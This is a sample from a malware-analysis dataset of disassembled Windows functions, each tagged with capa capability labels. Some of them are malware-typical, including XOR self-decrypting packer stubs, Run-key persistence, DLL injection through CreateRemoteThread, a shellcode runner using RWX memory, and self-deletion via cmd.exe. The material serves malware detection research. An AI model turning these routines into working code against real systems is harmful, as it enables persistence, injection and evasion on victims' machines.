joyce8/EMBER2024-capa huggingface dataset:
Function at 0x805cdc
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x805ce2
pop ebp
sub ebp, 6
sub ebp, 0x405cdc
jmp 0x805d40
jmp 0x805d49
mov eax, 0x405cdc
add eax, ebp
add eax, 0x93
mov ecx, 0x635
mov edx, 0x6cf92d5c
xor byte [eax], dl
inc eax
dec ecx
jne 0x805d60
jmp 0x805d73
sbb al, 0x34
pop esp
dec esp
pop esp
pop esp
xor al, 0x5c
nop
jo 0x805ddb
invalid
js 0x805e39
xlatb
fst dword [esp + ebx*2 + 0x5c]
pop esp
xlatb
leave
push eax
pop esp
pop esp
pop esp
xlatb
ror dword [esp + ebx*2 + 0x5c], 1
pop esp
popfd
mov ch, 0x5e
insd dword es:[edi], dx
pop esi
fistp word [esi - 0x26aceaa8]
test al, 0xa3
mov dword [0x509e01a3], eax
pop esp
xlatb
sar byte [eax + 0x58], 1
pop esp
pop esp
pop esp
xor al, 0x70
imul edx, dword [ebp + 0x5c], 0x6b7bf234
pop esp
pop ebp
jo 0x805e8e
or eax, 0x5c5c59b4
pop esp
mov ch, 0x63
pop esi
pop esp
pop esp
or dword [eax], ecx
add dword [ebx + 0x29a35029], esp
push esp
mov ah, 0x2e
pop esp
pop esp
pop esp
xlatb
loope 0x805e86
pop esp
pop esp
pop esp
invalid
push 0xb4adddc3
xor eax, 0x956fc368
outsd dx, dword [esi]
mov ds, edi
mov ah, 0x59
adc al, 0x53
fcom dword [edx]
pop esp
pop esp
pop esp
push ebx
aam 0x14
pop esp
pop esp
pop esp
cmp dl, bh
inc eax
fsub qword gs:[edi + 0x46d853b4]
pop esp
pop esp
pop esp
fsub qword [edi + 0x4dd853b5]
pop esp
pop esp
pop esp
cmp bl, ch
cmpsd dword [esi], dword es:[edi]
mov dword [0x49d85379], eax
pop esp
pop esp
pop esp
sbb eax, 0xa3a390b5
mov dword [0x5d651075], eax
fistp word [ebp + 0x58b4df59]
mov ch, 0xe1
mov dword [0x875a3a3], eax
pop esi
pop esi
fistp word [ebp + 0x58b6df5a]
fbstp tbyte [ecx + ebx*2 - 0x5c5c084b]
mov dword [0x5c509e01], eax
or edi, edx
mov al, 0xa
or ecx, dword [ecx]
xlatb
sub dword [eax - 0x29], edx
and dword [eax - 0x12], edx
invalid
Function at 0x914410
Capabilities:
Encode data using xor

Disassembly:
jmp 0x91441a
pushal
call 0x914420
pop ebp
sub ebp, 0x10
sub ebp, 0x514410
jmp 0x914436
mov eax, 0x514410
add eax, ebp
add eax, 0x4c
mov ecx, 0x5ee
mov edx, 0xc8e0582b
xor byte [eax], dl
inc eax
dec ecx
jne 0x91444d
jmp 0x914460
mov al, byte [0x17a2a0e6]
sub ebp, dword [ebx]
sub ebp, dword [edx + 0x2b2bd3ea]
sub ebp, dword [eax]
out 0x93, al
sub eax, 0x912b2b2b
add ebp, dword [ebx]
sub ebp, dword [ebx]
fmul st(1), st(0)
sub bl, ah
mov al, byte [0x2b2b27aa]
sub ebp, dword [eax]
out dx, al
jnp 0x914503
inc ebx
inc edi
test dword [0xbe8a432b], esp
imul ebp, dword [ebx], 0x430f072a
jo 0x91448e
mov bh, byte [esi + 0x72a2b69]
cmovae esi, dword [eax - 0xa]
sbb bl, byte [edx]
ret
sub esp, dword [eax + 0x2b2b3ba6]
sub ebp, edx
ret 0x1a29
sub ebp, dword [ebx]
mov al, byte [0x2b2b2396]
sub ebx, dword [eax]
loop 0x9144b8
invalid
Function at 0x433004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
call 0x43300c
nop
nop
nop
nop
pop eax
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x433030
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x40eaf0
Capabilities:
Inspect section memory permissions

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 0x7c]
push ebx
push esi
push edi
mov dword [ebp - 0x24], 1
mov dword [ebp - 0x20], 8
mov dword [ebp - 0x1c], 2
mov dword [ebp - 0x18], 4
mov dword [ebp - 0x14], 0x10
mov dword [ebp - 0x10], pe_nt_image_headers32
mov dword [ebp - 0xc], 0x20
mov dword [ebp - 8], 0x40
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x78], eax
mov edx, dword [eax + 0x30]
mov eax, dword [ecx + 0x3c]
lea eax, [edx + eax]
movzx edx, word [eax + 6]
add eax, 0xf8
mov dword [ebp - 0x74], eax
lea eax, [edx - 1]
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x6c], 0
mov eax, dword [ebp - 0x70]
cmp eax, dword [ebp - 0x6c]
jb 0x40ec75
sub dword [ebp - 0x6c], 1
lea esi, [esi]
add dword [ebp - 0x6c], 1
imul eax, dword [ebp - 0x6c], 0x28
mov edx, dword [ebp - 0x74]
lea esi, [eax + edx]
lea edi, [ebp - 0x4c]
mov ecx, 0xa
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x44]
mov edx, dword [ebp - 0x7c]
or edx, eax
mov dword [ebp - 0x58], edx
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x50], eax
test dword [ebp - 0x50], 0xffffffff
je 0x40ec69
mov ebx, dword [ebp - 0x28]
mov eax, ebx
and eax, 0x2000000
je 0x40ebcc
push 0x4000
push dword [ebp - 0x50]
push dword [ebp - 0x58]
mov esi, dword [ebp - 0x78]
call dword [esi + 8]
jmp 0x40ec69
mov eax, ebx
and eax, 0x20000000
je 0x40ebde
mov dword [ebp - 0x68], 1
jmp 0x40ebe5
mov dword [ebp - 0x68], 0
mov eax, ebx
and eax, 0x40000000
je 0x40ebf7
mov dword [ebp - 0x64], 1
jmp 0x40ebfe
mov dword [ebp - 0x64], 0
mov eax, ebx
and eax, 0x80000000
je 0x40ec10
mov dword [ebp - 0x60], 1
jmp 0x40ec17
mov dword [ebp - 0x60], 0
mov eax, ebx
and eax, 0x4000000
je 0x40ec29
mov dword [ebp - 0x5c], 1
jmp 0x40ec30
mov dword [ebp - 0x5c], 0
mov eax, dword [ebp - 0x68]
shl eax, 4
lea eax, [ebp + eax - 0x24]
mov edx, dword [ebp - 0x64]
lea ecx, [eax + edx*8]
mov eax, dword [ebp - 0x60]
mov eax, dword [ecx + eax*4]
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x5c], 1
jne 0x40ec56
or dword [ebp - 0x54], 0x200
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x54]
push dword [ebp - 0x50]
push dword [ebp - 0x58]
mov esi, dword [ebp - 0x78]
call dword [esi + 4]
mov eax, dword [ebp - 0x70]
cmp eax, dword [ebp - 0x6c]
ja 0x40eb74
pop edi
pop esi
pop ebx
leave
ret

Function at 0x432004
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
call 0x43200c
nop
pop eax
nop
nop
nop
nop
nop
add eax, 0x40729f
nop
sub eax, 0x407245
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
cmp ebx, ecx
nop
nop
nop
nop
jl 0x432030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
nop
cmp dword [eax], 0
jne 0x43201e
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x401a6c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42914c]
jne 0x401a76
repz ret
jmp fcn.004025a5

Function at 0x40b17e
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42914c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004043d4
and dword [ebp - 0x14], 0
cmp dword [0x42b7d8], 0
mov dword [ebp - 0x18], eax
jne 0x40b231
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40b2d9
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x40b2d9
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x42b7d8], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x42b7dc], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x42b7e0], eax
call edi
push eax
call esi
mov dword [0x42b7e8], eax
test eax, eax
je 0x40b231
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x42b7e4], eax
mov eax, dword [0x42b7e4]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40b28a
cmp dword [0x42b7e8], ecx
je 0x40b28a
push eax
call esi
push dword [0x42b7e8]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40b28a
test ebx, ebx
je 0x40b28a
call edi
test eax, eax
je 0x40b281
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40b281
test byte [ebp - 8], 1
jne 0x40b28a
or dword [ebp + 0x10], 0x200000
jmp 0x40b2bd
mov eax, dword [0x42b7dc]
cmp eax, dword [ebp - 0x18]
je 0x40b2bd
push eax
call esi
test eax, eax
je 0x40b2bd
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40b2bd
mov eax, dword [0x42b7e0]
cmp eax, dword [ebp - 0x18]
je 0x40b2bd
push eax
call esi
test eax, eax
je 0x40b2bd
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x42b7d8]
call esi
test eax, eax
je 0x40b2d9
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40b2db
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401a6c
leave
ret
Function at 0x422040
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x41c
mov eax, dword [0x42914c]
xor eax, esp
mov dword [esp + 0x418], eax
mov eax, dword [ebp + 8]
push ebx
push esi
xor esi, esi
push edi
mov dword [esp + 0xc], eax
cmp dword [ebp + 0xc], esi
jle 0x42211b
mov edi, dword [sym.imp.KERNEL32.dll_IsBadStringPtrA]
mov ebx, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
cmp dword [ebp + 0xc], 0x2d
jne 0x4220a8
push 0
push str.fikojini_zujokobixexezonakeweguneleg_lejoyuxalanetexitevelanebubu_satoretik_tajufejefavohiyelirixago
call edi
push str.fepekoniguvisenevuwuki_jin
push str.pocudinapefiwuwuracuyehopasa
push str.giciyojozabuxos_joguzi_zunibizece
push str.cerowitalapotovonemadudukadoga_wumivuxikeyiwezayopoyevocirah_fuhehoguh_nivipapeniloxaceyobogetamixari_fufozimepofezawipogobonemetibe
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
call fcn.00421f90
mov ecx, dword [esp + 0xc]
xor byte [ecx + esi], al
cmp dword [ebp + 0xc], 0xf
jne 0x422111
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
xor eax, eax
push eax
lea edx, [esp + 0x24]
push edx
push 0x426f88
mov dword [esp + 0x1e], eax
mov dword [esp + 0x22], eax
mov dword [esp + 0x26], eax
mov word [esp + 0x2a], ax
xor ecx, ecx
lea eax, [esp + 0x1c]
push eax
push ecx
push ecx
mov word [esp + 0x28], cx
call dword [sym.imp.KERNEL32.dll_GetTimeFormatA]
push str.yiwozifedewuricotaducoxitajodeta
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoW]
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthA]
inc esi
cmp esi, dword [ebp + 0xc]
jl 0x42207b
cmp dword [ebp + 0xc], 0x2d
jne 0x422135
mov dword [0x42c8d0], 0xa62e7790
mov dword [0x42c8d4], 0xffffffff
mov ecx, dword [esp + 0x424]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401a6c
mov esp, ebp
pop ebp
ret
Function at 0x422510
Capabilities:
Access the windows event log
Manipulate console buffer
Set file attributes

Disassembly:
sub esp, 0x14
mov eax, dword [0x42c8c4]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
push esi
mov dword [esp + 0x10], 0x1540b5
mov esi, dword [esp + 0x10]
push edi
mov edi, dword [esp + 0x14]
cmp eax, 0xcc1
jne 0x42254a
call dword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
mov eax, dword [0x42c8c4]
mov dword [0x42c52c], 0x8e468c60
cmp eax, 0x3dc
jne 0x4225a9
push 0
push 0x4271f8
call ebx
xor eax, eax
lea edx, [esp + 0x18]
push edx
push eax
push eax
push eax
push eax
mov dword [esp + 0x24], eax
call ebp
push 0
lea ecx, [esp + 0x20]
push ecx
lea edx, [esp + 0x28]
push edx
push esi
push 0
push 0
push edi
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_AccessCheckByTypeResultList]
push str.rugenalef
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerA]
mov eax, dword [0x42c8c4]
dec dword [esp + 0x14]
jne 0x422538
mov edi, dword [sym.imp.ADVAPI32.dll_OpenEventLogW]
xor esi, esi
mov ebp, 0xec58acac
or ebx, 0xffffffff
nop
cmp eax, 0x997
jne 0x4225d2
push 0
push 0
call edi
mov eax, dword [0x42c8c4]
cmp esi, 0x846373
jne 0x4225e9
mov eax, dword [0x42aad0]
add eax, 0xa231
mov dword [0x42c8c4], eax
cmp eax, 0x141
jne 0x4225fc
mov dword [0x42bd18], ebp
mov dword [0x42bd1c], ebx
inc esi
cmp esi, 0x123c962
jl 0x4225c0
call fcn.00422190
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x14
ret 0x10
Function at 0x4014ca
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [ebp - 0xc], str.C:UsershacksDocumentsGitHubWindowsBuildingBlockDebugBuildingBlock.exe
mov dword [ebp - 0x10], str.SoftwareMicrosoftWindowsCurrentVersionRun
lea eax, [ebp - 0x14]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov dword [esp], 0x80000001
call sym._RegOpenKeyExA_20
sub esp, 0x14
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._strlen
mov edx, eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 0x14], edx
mov edx, dword [ebp - 0xc]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.BuildingBlock
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
nop
leave
ret

Function at 0x4015c4
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov dword [esp], str.kernel32.dll
call sym._GetModuleHandleA_4
sub esp, 4
mov dword [esp + 4], str.LoadLibraryA
mov dword [esp], eax
call sym._GetProcAddress_8
sub esp, 8
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x3000
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov edx, dword [ebp - 0x14]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret
Function at 0x4016c8
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [ebp - 0xc], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0x80000000
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._CreateFileA_28
sub esp, 0x1c
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
je 0x40177f
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._GetFileSize_8
sub esp, 8
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x401771
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x10], 0
lea edx, [ebp - 0x14]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._ReadFile_20
sub esp, 0x14
test eax, eax
jne 0x401771
mov dword [ebp - 0xc], 0
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0xc]
leave
ret

Function at 0x40190e
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 0xc]
lea edx, [ebp - 0xc]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov eax, dword [ebp + 8]
call eax
nop
leave
ret

Function at 0x40197f
Capabilities:
Create process on windows
Create process suspended
Self delete

Disassembly:
push ebp
mov ebp, esp
push edi
sub esp, 0x294
lea edx, [ebp - 0x254]
mov eax, 0
mov ecx, 0x11
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [ebp - 0x254], 0x44
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
lea eax, [ebp - 0x10c]
mov dword [esp + 8], eax
mov dword [esp + 4], str.cmd.exe__c_del__s
lea eax, [ebp - 0x210]
mov dword [esp], eax
call sym._wsprintfA
lea eax, [ebp - 0x264]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x254]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
lea eax, [ebp - 0x210]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._CreateProcessA_40
sub esp, 0x28
mov eax, dword [ebp - 0x260]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x264]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov dword [esp], 0
call sym._exit
Function at 0x4022e0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x408044
call sym._EnterCriticalSection_4
mov ebx, dword [0x40803c]
sub esp, 4
test ebx, ebx
je 0x40232b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x402324
test esi, esi
je 0x402324
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402300
mov dword [esp], 0x408044
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x402510
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x402560
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x402638
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x40259e
cmp eax, 4
jne 0x4025c0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x4025ae
cmp edx, 4
je 0x4025ae
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00402510
Function at 0x401740
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
mov eax, dword [0x141004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x104
lea eax, [ebp - 0x108]
mov dword [ebp - 0x114], edx
push 0
push eax
mov dword [ebp - 0x110], ecx
call fcn.004098a0
mov edx, 0x141844
add esp, 0xc
mov esi, edx
nop
mov al, byte [edx]
inc edx
test al, al
jne 0x401780
lea edi, [ebp - 0x108]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x401790
mov ecx, edx
lea eax, [ebp - 0x108]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 0
push 0x80
push 3
push 0
push 1
mov ecx, edx
and ecx, 3
push 0x80000000
rep movsb byte es:[edi], byte [esi]
push eax
call dword [0x13903c]
mov edi, eax
mov dword [ebp - 0x11c], edi
cmp edi, 0xffffffff
je 0x4018cd
push ebx
push 0
push edi
call dword [0x13904c]
mov esi, eax
xor edx, edx
mov ecx, esi
add ecx, 1
setb dl
neg edx
or edx, ecx
push edx
call fcn.0040a92d
mov ebx, eax
add esp, 4
mov dword [ebp - 0x118], ebx
test ebx, ebx
je 0x4018cc
inc esi
push esi
push 0
push ebx
call fcn.004098a0
add esp, 0xc
mov dword [ebp - 0x10c], 0
lea eax, [ebp - 0x10c]
push 0
push eax
push esi
push ebx
push edi
call dword [0x1390d8]
cmp dword [ebx], 0
mov esi, ebx
mov edi, ebx
je 0x4018b7
nop dword [eax + eax]
add edi, 0x208
cmp dword [edi], 0
jne 0x401840
nop dword [eax + eax]
xor eax, eax
xor byte [eax + esi + 8], al
lea ecx, [eax + esi]
inc eax
cmp eax, 0x200
jb 0x401852
lea ebx, [esi + 8]
push ebx
push 0x13eab8
call fcn.0040d12c
add esp, 8
test eax, eax
jne 0x4018a6
push dword [esi]
call fcn.00407665
mov ecx, dword [ebp - 0x110]
mov dword [ecx], eax
mov ecx, dword [ebx - 4]
push dword [esi]
add ecx, 0x208
add ecx, edi
push ecx
push eax
call fcn.00417ae0
mov ecx, dword [ebp - 0x114]
add esp, 0x10
mov eax, dword [esi]
mov dword [ecx], eax
add esi, 0x208
cmp dword [esi], 0
jne 0x401850
mov ebx, dword [ebp - 0x118]
push dword [ebp - 0x11c]
call dword [0x139048]
push ebx
call fcn.0040a928
add esp, 4
pop ebx
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.0040752c
mov esp, ebp
pop ebp
ret
Function at 0x10004770
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
nop
nop
inc eax
mov eax, 0xc1d98bf8
mov eax, 0x64c50d
cmp eax, 0x258d33f2
cmp eax, 0xffffffd0
mov eax, ecx
mov eax, ebx
inc eax
cmp eax, 0x1e
mov eax, ebx
cmp eax, 0xa0e24f05
inc eax
inc eax
inc eax
nop
mov eax, ecx
push 3
push 2
push 1
call fcn.1000c1f0
add esp, 0xc
cmp eax, 0x41
mov eax, 0x3d349317
mov eax, ecx
mov eax, ebx
mov eax, ecx
inc eax
mov eax, 0xdb3e05ea
nop
mov eax, 0x7a51fa19
mov eax, 0x144fb119
mov eax, ecx
mov eax, 0x93b9a744
cmp eax, 0xffffffa9
nop
push 3
push 2
push 1
call fcn.1000c1f0
add esp, 0xc
push 0x104
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov eax, 0x85507e01
inc eax
mov eax, ecx
mov eax, ebx
mov eax, ecx
mov eax, 0xcaf8ac6e
mov eax, ecx
mov eax, ebx
mov eax, 0xc2c2e71a
cmp eax, 0x22
nop
nop
mov eax, ecx
cmp eax, 0x67a86a8c
nop
inc eax
mov eax, ebx
push 3
push 2
push 1
call fcn.1000c1f0
add esp, 0xc
push 0x1002beb4
lea ecx, [ebp - 0x20c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
inc eax
inc eax
cmp eax, 0x55
mov eax, 0xb6094170
mov eax, 0x43b58263
mov eax, ebx
cmp eax, 0x57c9a545
nop
cmp eax, 0xffffffa1
inc eax
cmp eax, 0xffffffb5
mov eax, 0xd4d6e87a
nop
cmp eax, 0x41
mov eax, ecx
nop
push 3
push 2
push 1
call fcn.1000c1f0
add esp, 0xc
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [0x1003e22c], eax
mov eax, ebx
inc eax
mov eax, 0x6eaa7047
mov eax, ebx
inc eax
mov eax, ecx
nop
nop
nop
mov eax, ecx
cmp eax, 0x7c
mov eax, ecx
inc eax
mov eax, ecx
cmp eax, 9
inc eax
cmp eax, 0xa7de38ec
nop
mov eax, ecx
cmp eax, 0x43
inc eax
push 3
push 2
push 1
call fcn.1000c1f0
add esp, 0xc
cmp dword [0x1003e22c], 0
jne 0x1000491f
push 0x41030
push str.DllWrap
push str.miss
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
nop
cmp eax, 0x10
mov eax, ecx
cmp eax, 0x3c
cmp eax, 0x56
mov eax, ecx
mov eax, 0x5676d7d1
nop
mov eax, ecx
mov eax, ecx
mov eax, 0x60f42ef2
mov eax, 0x9f5c5298
inc eax
inc eax
cmp eax, 0x64
inc eax
inc eax
nop
push 3
push 2
push 1
call fcn.1000c1f0
add esp, 0xc
cmp dword [0x1003e22c], 0
je 0x10004931
mov dword [ebp - 4], 1
jmp 0x10004938
mov dword [ebp - 4], 0
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret